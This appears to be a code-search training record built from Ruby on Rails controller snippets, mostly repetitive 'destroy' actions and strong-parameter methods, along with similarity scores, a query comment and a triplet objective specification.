"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @finance_inflow = FinanceInflow.find(params[:id])\n @finance_inflow.destroy\n\n respond_to do |format|\n format.html { redirect_to finance_inflows_url }\n format.json { head :no_content }\n end\n end",
"def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url}\n format.json { head :no_content }\n end\n end",
"def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"def destroy\n @sales_item.destroy\n respond_to do |format|\n format.html { redirect_to sales_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase = Purchase.find(params[:purchase_id])\n @purchase_item = @purchase.purchase_items.find(params[:id])\n @purchase_item.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_path(@purchase) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @furniture_item.destroy\n respond_to do |format|\n format.html { redirect_to furniture_items_url, notice: 'Furniture item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @item.destroy\n # respond_to do |format|\n # format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"def destroy\n @personal_finance.destroy\n respond_to do |format|\n format.html { redirect_to personal_finances_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = @deal.items.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to (deal_items_path(@deal)) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @album_item = AlbumItem.find(params[:id])\n @album_item.destroy\n\n respond_to do |format|\n format.html { redirect_to album_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @finance = Finance.find(params[:id])\n @finance.destroy\n\n respond_to do |format|\n format.html { redirect_to finances_url }\n format.json { head :no_content }\n end\n end",
"def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @item_datum = ItemData.find(params[:id])\n @item_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to item_datum_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @accident_item.destroy\n respond_to do |format|\n format.html { redirect_to accident_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy#\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trade_item = TradeItem.find(params[:id])\n @trade_item.destroy\n\n respond_to do |format|\n format.html { redirect_to trade_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n item = @item.name\n @item.deleted = true\n @item.deleted_at = Time.now\n @item.save\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: \"#{item} was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fb_item = FbItem.find(params[:id])\n @fb_item.destroy\n\n respond_to do |format|\n format.html { redirect_to fb_items_url }\n format.json { head :no_content }\n end\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n @fooditem = Fooditem.find(params[:id])\n @fooditem.destroy\n\n respond_to do |format|\n format.html { redirect_to fooditems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @test_item.destroy\n respond_to do |format|\n format.html { redirect_to test_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_item = EntryItem.find(params[:id])\n @entry_item.destroy\n\n respond_to do |format|\n #format.html { redirect_to(entry_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n set_proposed_item\n calculate_saving\n \n\n @proposed_item.destroy\n respond_to do |format|\n format.html { redirect_to @budget, notice: 'Proposed item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_item.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def destroy\n @clitem.destroy\n respond_to do |format|\n format.html { redirect_to clitems_url }\n format.json { head :no_content }\n\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to tasks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_expense.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_expenses_url, notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n # format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @budget_item = BudgetItem.find(params[:id])\n @budget_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(budget_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n f_respond_destroy(@budgetitem.destroy, @budgetitem.name, budgetitems_url)\n# @budgetitem.destroy\n# respond_to do |format|\n# format.html { redirect_to budgetitems_url, notice: 'Budgetitem was successfully destroyed.' }\n# format.json { head :no_content }\n# end\n end",
"def destroy\n @d_sale_item = DSaleItem.find(params[:id])\n #@d_sale_item.destroy\n\n respond_to do |format|\n format.html { redirect_to d_sale_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @defected_item.destroy\n respond_to do |format|\n format.html { redirect_to defected_items_url, notice: 'Defected item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @ordereditem.destroy\n respond_to do |format|\n format.html { redirect_to ordereditems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_data_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_data_items_url, notice: 'Invoice data item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shared_item = SharedItem.find(params[:id])\n @shared_item.destroy\n\n respond_to do |format|\n format.html { redirect_to shared_items_url }\n format.json { head :no_content }\n end\n end",
"def item_destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to item_index_path, notice: 'O item foi removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @moment_item.destroy\n respond_to do |format|\n format.html { redirect_to moment_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_item_status = PurchaseItemStatus.find(params[:id])\n @purchase_item_status.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_item_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7175915",
"0.7119205",
"0.70943886",
"0.70806736",
"0.70174354",
"0.6984482",
"0.6970735",
"0.6927181",
"0.69234115",
"0.6909906",
"0.688377",
"0.6875334",
"0.6865821",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68576586",
"0.68547004",
"0.6848014",
"0.6848014",
"0.6846836",
"0.6845783",
"0.68403107",
"0.6836734",
"0.6832923",
"0.68239766",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.682384",
"0.68152565",
"0.68108827",
"0.6804099",
"0.679443",
"0.678892",
"0.6773637",
"0.6772281",
"0.6770692",
"0.6767354",
"0.676305",
"0.6759339",
"0.6756959",
"0.675493",
"0.67537844",
"0.67513806",
"0.6748559",
"0.67444706",
"0.67422366",
"0.67381924",
"0.67373556",
"0.6737091",
"0.67347956",
"0.67206454",
"0.6716835",
"0.67166305",
"0.67166305",
"0.67166305",
"0.67166305",
"0.6713263",
"0.6706561",
"0.67043996",
"0.6702237",
"0.66971505",
"0.6689119",
"0.668889",
"0.6688214",
"0.66862345",
"0.66861856",
"0.66841805",
"0.66821504",
"0.6681365",
"0.66775376",
"0.6675051",
"0.66747797",
"0.6670168",
"0.66697407",
"0.6668657",
"0.6666944",
"0.6665852",
"0.6661775",
"0.6661628",
"0.6657854",
"0.665611"
] |
0.7617663
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_finance_item
@finance_item = FinanceItem.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def finance_item_params
params.require(:finance_item).permit(:goal_id, :temp_item_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
